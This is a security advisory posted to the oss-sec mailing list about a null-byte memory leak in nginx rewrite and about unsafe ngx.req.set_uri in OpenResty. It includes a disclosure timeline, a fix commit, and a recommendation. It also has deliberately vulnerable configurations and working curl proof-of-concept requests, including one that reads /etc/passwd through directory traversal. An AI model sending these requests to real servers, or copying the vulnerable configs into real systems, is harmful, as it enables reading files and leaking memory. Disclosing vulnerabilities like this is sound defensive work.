oss-sec mailing list archives

Re: Insecure implementation of OpenResty ngx.req.set_uri + memory content leak in nginx.


From: Vladimir Dubrovin <vlad () securityvulns ru>
Date: Wed, 18 Mar 2020 17:43:58 +0300


I've updated advisory at
https://hackerone.com/reports/513236
to reflect the fact some nginx configurations without openresty may be
vulnerable to directory traversal, as demonstrated with configuration
example (but mistakenely attributed to openresty).

18.03.2020 16:10, Vladimir Dubrovin пишет:
OpenResty is LUA engine for nginx reverse proxy.

Affected versions: tested on nginx-1.17.5 and openresty-1.15.8.2 on
ubuntu 18.04

Two independent problems were identified in OpenResty and nginx,
potentially leading to different security vulnerabilities: Header
injection/CRLF injection, directory traversal/local file read,
restrictions bypass, memory content disclosure in some nginx + openresty
configurations:

1. There is a bug in nginx "rewrite" implementation. It can disclose the
fragment of the process memory with 301/302 HTTP reply if rewrite string
contains ASCII 0 character. Within nginx itself rewrite string is a
static configuration option, and is not supposed to be manipulated
externally.

2. OpenResty implements ngx.req.set_uri() via raw rewrite in nginx
without any additional filtering or normalization. If used with
untrusted input it can lead to CRLF/header injection, directory
traversal/local file read, restrictions bypass. Due to (1) it can also
lead to memory content disclosure.


Fix:
==============

As of now, there is no fix for ngx.req.set_uri(), this function must be considered as potentially unsafe.

Recommendations:
==============

Avoid usage of ngx.req.set_uri() with untrusted input or implement strict input filtering.


Timeline:

==============

21.03.2019 - Memory content leak reported to Mail.Ru team via H1 by @maxarr in https://hackerone.com/reports/513236
22.03.2019 - Memory content leak is mitigated on Mail.Ru side
05.11.2019 - Problem additionally researched by Denis 'KPEBETKA' Denisov and Nikolay Ermishkin of Mail.Ru Security 
Team, root cause tracked to nginx+openresty.
07.11.2019 - Reported to nginx team
08.11.2019 - Acknowledged by nginx team
13.12.2019 - nginx team reported back the issue is not tracked as a security bug in nginx, secure rewrite will not be 
provided by nginx API
16.12.2019 - memory leak bug fixed in nginx master branch
https://hg.nginx.org/nginx/rev/02a539522be4
https://github.com/nginx/nginx/commit/a5895eb502747f396d3901a948834cd87d5fb0c3#diff-75916b11f3e6d45e713a6aa9c97cf315
17.12.2019 - reported to OpenResty team
17.12.2019 - acknowledged by OpenResty team
18.03.2020 - disclosed


Details:

==============

This configuration demonstrates memory content leak in nginx:

Vulnerable config (^@ is a null byte)

location ~ /memleak {
    rewrite ^.*$ "^@asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdasdf";
}

location / {
    root html;
    index index.html index.htm;
}

curl localhost:8337/memleak -vv
...
Location: http://localhost:8337/WjWj
...

WjWj – is a random peace of memory, usual includes parts of other requests

vulnerable code:

https://github.com/nginx/nginx/blob/4bf4650f2f10f7bbacfe7a33da744f18951d416d/src/http/modules/ngx_http_static_module.c#L77

last = ngx_http_map_uri_to_path(r, &path, &root, 0);

Doesn't handle location with null byte properly

https://github.com/nginx/nginx/blob/5a2ce3f4ee55eb8903aa9481deaaf402d5a2e805/src/http/ngx_http_core_module.c#L1846

last = ngx_cpystrn(last, r->uri.data + alias, r->uri.len - alias + 1);

Writes only null byte to last, not the whole r->uri.data

https://github.com/nginx/nginx/blob/4bf4650f2f10f7bbacfe7a33da744f18951d416d/src/http/modules/ngx_http_static_module.c#L161

if (!clcf->alias && clcf->root_lengths == NULL && r->args.len == 0) {

It's important to get into this conditional branch to get memory leak

https://github.com/nginx/nginx/blob/4bf4650f2f10f7bbacfe7a33da744f18951d416d/src/http/modules/ngx_http_static_module.c#L188

r->headers_out.location->value.len = len;

location length more than was really written, location ends with random
piece of memory (usually includes part of other HTTP requests).

Example of configuration vulnerable to  memory leak with
https://github.com/openresty/lua-nginx-module:

location ~ /memleak {
    rewrite_by_lua_block {
        ngx.req.read_body();
        local args, err = ngx.req.get_post_args();
        ngx.req.set_uri( args["url"], true );
    }
}

location / {
    root html;
    index index.html index.htm;
}

curl localhost:8337 -d "url=%00asdfasdfasdfasdfasdfasdfasdfasdf" -vv
...
Location: http://localhost:8337/WjWj
...

Example of configuration vulnerable to directory traversal with
https://github.com/openresty/lua-nginx-module

location ~ /rewrite {
    rewrite ^.*$ $arg_x;
}

location / {
    root html;
    index index.html index.htm;
}

curl localhost:8337/rewrite?x=/../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...


-- Vladimir Dubrovin




Current thread: